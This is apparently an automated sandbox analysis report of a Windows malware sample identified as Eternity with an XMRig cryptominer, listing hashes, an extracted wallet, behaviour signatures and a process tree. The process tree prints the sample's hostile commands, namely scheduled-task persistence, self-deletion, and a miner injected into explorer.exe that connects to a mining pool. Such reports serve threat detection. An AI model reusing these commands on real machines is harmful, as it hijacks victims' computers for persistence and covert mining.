Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2022 13:02

General

  • Target

    a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

  • Size

    2.1MB

  • MD5

    d5737f563015ca9df92bf17c6636db42

  • SHA1

    957099807b7ab2e38d583f84fb7059711feec61f

  • SHA256

    a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

  • SHA512

    d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

  • SSDEEP

    49152:kzuzgsK8XCwKyblc81KsH7FtfcaSPL/e6988MKMTq3xJTaUbEyi:NzgEywKybm81KQ7F9caSPi69893Oj81

Score
10/10

Malware Config

Extracted

Family

eternity

Wallets

49vkUmVaigPGUsSL7xMRTxHbf38TkAMKFVN57A17sxUujLNgmrKi7bFcwb73uRWepASSZJPEWf1Kn81nWdHKDhEnAANFvmW

Signatures

  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
    "C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" &&START "" "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:532
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:4764
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:4744
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:4664
        • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
          "C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe -a cryptonight -o pool.minexmr.com:4444 -u 49vkUmVaigPGUsSL7xMRTxHbf38TkAMKFVN57A17sxUujLNgmrKi7bFcwb73uRWepASSZJPEWf1Kn81nWdHKDhEnAANFvmW.Admin_GBQHURCC -p x --max-cpu-usage=30 --donate-level=1
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2436
    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
      C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe
      1⤵
      • Executes dropped EXE
      PID:4312

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe.log

      Filesize

      425B

      MD5

      fff5cbccb6b31b40f834b8f4778a779a

      SHA1

      899ed0377e89f1ed434cfeecc5bc0163ebdf0454

      SHA256

      b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

      SHA512

      1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • C:\Users\Admin\AppData\Local\ServiceHub\a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9.exe

      Filesize

      2.1MB

      MD5

      d5737f563015ca9df92bf17c6636db42

      SHA1

      957099807b7ab2e38d583f84fb7059711feec61f

      SHA256

      a89d4dfabf30a221b56db35ebe5b5852ad16fc8e8828d169219e97c849ec5fa9

      SHA512

      d160a076c6ab88634c8695ab3d9ca29e37e6a4fb43cd400d1d1047fb7da2614e3e5a537f4a10f55ee5ef3cc16d40552ea888437f72f937e824d96ef24536c518

    • memory/2436-146-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/2436-151-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/2436-149-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/2436-148-0x0000000000A20000-0x0000000000A40000-memory.dmp

      Filesize

      128KB

    • memory/2436-145-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/2436-143-0x0000000140000000-0x0000000140758000-memory.dmp

      Filesize

      7.3MB

    • memory/3476-150-0x00007FFFDEB50000-0x00007FFFDF611000-memory.dmp

      Filesize

      10.8MB

    • memory/3476-147-0x00007FFFDEB50000-0x00007FFFDF611000-memory.dmp

      Filesize

      10.8MB

    • memory/4312-153-0x00007FFFDEB50000-0x00007FFFDF611000-memory.dmp

      Filesize

      10.8MB

    • memory/4312-154-0x00007FFFDEB50000-0x00007FFFDF611000-memory.dmp

      Filesize

      10.8MB

    • memory/4544-136-0x00007FFFDECD0000-0x00007FFFDF791000-memory.dmp

      Filesize

      10.8MB

    • memory/4544-132-0x000002419FCB0000-0x000002419FEC6000-memory.dmp

      Filesize

      2.1MB

    • memory/4544-133-0x00007FFFDECD0000-0x00007FFFDF791000-memory.dmp

      Filesize

      10.8MB